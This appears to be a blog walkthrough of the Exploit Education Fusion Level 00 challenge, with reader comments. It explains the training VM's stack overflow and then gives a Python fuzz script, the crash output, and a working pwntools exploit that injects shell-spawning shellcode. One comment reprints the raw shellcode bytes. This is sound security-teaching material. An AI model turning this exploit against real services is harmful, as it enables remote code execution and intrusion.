Exploit Education | Fusion | Level 00 Solution

This is a simple introduction to get you warmed up.

The description and source code can be found here:

If you worked through the Phoenix challenges, this one should be really easy. But if you’re like me and took a break since doing those, you’ll appreciate this refresher.

We can connect to the VM on port 20,000 using netcat, but unless you understand the program, you won’t know what to send it. Let’s look at the source code to see what type of input it’s expecting. The main() function just sets everything up and calls the first function:

int main(int argc, char **argv, char **envp)
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);


The parse_http_request() function is the bulk of the code:

char *parse_http_request()
  char buffer[1024];
  char *path;
  char *q;

  printf("[debug] buffer is at 0x%08x :-)\n", buffer);

  if(read(0, buffer, sizeof(buffer)) <= 0)
    errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");


  printf("trying to access %s\n", path);

  return path;

This function does a few things:

  • It prints the address of the “buffer” variable. This effectively removes any need for debugging or reverse engineering.
  • It reads user input into the “buffer” variable. Note that this is NOT vulnerable to buffer overflow as it only reads a maximum of 1024 bytes (sizeof(buffer)).
  • The first 4 bytes of that input are compared to the string GET , including the space. If they do not equal, the program exits.
  • The “path” variable is then set to point to the 5th byte of the “buffer” variable, while the “q” variable points to the first space character after that. If there is no space after that, the program will exit.
  • The next 8 bytes after “q” are compared to the string HTTP/1.1. If they do not equal, the program exits.

We can see that the program is supposed to act like a web server that only accepts the first line of an HTTP GET request. Normally, you might expect the path to be something like /index.html. So let’s test this with netcat:

andrew ~ $ nc fusion 20000
[debug] buffer is at 0xbffff8f8 :-)
GET /index.html HTTP/1.1
trying to access /index.html
NOTE: I added an entry to my /etc/hosts file so that "fusion" resolves to the VMs IP address

Next, the program calls the fix_path() function while passing the “path” pointer to it. The main purpose of this function is to call the realpath() function (returns the canonicalized absolute pathname) on the user-supplied path and save the result to the “resolved” variable:

int fix_path(char *path)
  char resolved[128];
  if(realpath(path, resolved) == NULL) return 1; 
  // can't access path. will error trying to open

  strcpy(path, resolved);

Now you can see where our buffer overflow vulnerability exists. The strcpy() function is called with no bounds checking. The realpath() function will copy the string pointed to by *path into the resolved buffer. We should be able to overwrite the return address in this function’s stack frame. The only question that remains is, where is that address? In the past, I’ve used tools that generate a de Bruijn sequence (e.g. github.com/Svenito/exploit-pattern) for finding the exact offset of the saved EIP. However, that won’t be necessary here.

Now, I could do this completely remotely via fuzzing. I can keep increasing the amount of input to the “resolved” variable until I no longer get a response from the server, indicating a crash. This time, however, I’ll just use dmesg to see the kernel messages. I’ll write a simple Python script to try to determine where EIP is on the stack:

#!/usr/bin/env python3

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("fusion", 20000))

payload  = b"GET /"
payload += b"A" * 127 # fill the 'resolved' buffer
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 4
payload += b"E" * 4
payload += b" HTTP/1.1"


First, on the Fusion VM itself, I’ll clear the log:

fusion@fusion:~$ sudo dmesg -c

Then I’ll run the script:

andrew ~/fusion $ ./level00_fuzz.py 
b'[debug] buffer is at 0xbffff8f8 :-)'

And check the VM again:

fusion@fusion:~$ dmesg
[ 7378.989633] level00[2216]: segfault at 45454545 ip 45454545 sp bffff8e0 error 14

We can see that the string of E’s (0x45) were the ones to overwrite EIP. This means that EIP is saved 140 bytes after the start of the “resolved” variable. Now we can build an exploit. Fortunately, the challenge site gives us valuable information. It tells us that there are no protections (e.g. ASLR or NX) and hints that we should put shellcode after the HTTP/1.1 string.

This will be my first use of the Python pwntools library:

#!/usr/bin/env python3

import pwn

io = pwn.remote("fusion", 20000)

# buffer is at 0xbffff8f8
target = pwn.p32(0xbffff8f8 + 157)

shellcode = pwn.asm(pwn.shellcraft.sh())

payload  = b"GET /" + b"A"*127 # fill the 'resolved' buffer
payload += b"B"*12
payload += target
payload += b" HTTP/1.1"
payload += shellcode


I know that you’ll generally want to import the pwntools functionality into the global namespace with from pwn import *. However, this time I’d like to show which functions belong to pwntools.

Let’s run it:

andrew ~/fusion $ ./level00_pwn.py 
[+] Opening connection to fusion on port 20000: Done
[debug] buffer is at 0xbffff8f8 :-)

[*] Switching to interactive mode
$ id
uid=20000 gid=20000 groups=20000


12 thoughts on “Exploit Education | Fusion | Level 00 Solution

  1. johny says:

    hi, ain’t 0xff bad character ? when I overwrite eip, 0xff is being sanitized.
    did you encounter it ?

  2. arty-hle says:

    Mmh just a thought about your mention of strcpy, it’s actually not the vulnerable function here, as it’s only copying from resolved to path back, the vulnerable one is realpath, which copies the “fixed path” into the resolved buffer. Apparently when realpath returns NULL it stills writes the path to the resolved buffer, which makes the buffer overflow happen.

  3. Dave says:

    why you added 157 here
    target = pwn.p32(0xbffff8f8 + 157)

    1. Andrew Lamarra says:

      Ahh, I see that I never explained that. The contents of the ‘payload’ variable up to the shellcode is 157 bytes long. So the shellcode will be 157 bytes after the address 0xbffff8f8. I am effectively overwriting the saved EIP value on the stack with 0xbffff995. That way, when the function returns, it’ll go straight to the shellcode. And since there are no protection mechanisms, like Data Execution Protection, the stack memory space is executable.

      1. Dave says:

        Its may sound silly but could you tell me how do you know shellcode length

        as far as I know that’s the way :
        >>> print(len(b’jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80′))

        I have to mention I tried various ways to understand how it got to 157

          1. Dave says:

            Again , thanks for the fast response to summarize up ,

            payload = b”GET /” + b”A”*127 # fill the ‘resolved’ buffer // 128 bytes ( including the ‘/’ )
            payload += b”B”*12 // 12 bytes
            payload += target // 8 bytes
            payload += b” HTTP/1.1″ // 9 bytes
            payload += shellcode

            payload length ( not including the shellcode ) = 128+12+8+9 = 157

          2. Dave says:

            Again , thanks for the fast response to summarize up ,

            payload = b”GET /” + b”A”*127 # fill the ‘resolved’ buffer // 128 bytes ( including the ‘/’ ) + 4 bytes ( “GET “) 132 bytes
            payload += b”B”*12 // 12 bytes
            payload += target // 4 bytes
            payload += b” HTTP/1.1″ // 9 bytes
            payload += shellcode

            payload length ( not including the shellcode ) = (127+1+4)+12+4+9 = 157

  4. Dave says:

    Thank’s for the fast reply I assumed so but used another shellcode ( as i thought atleast )
    pwn.shellcraft.i386.linux.sh() instead of

    but they are the same ( the result after assembly ) :


Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.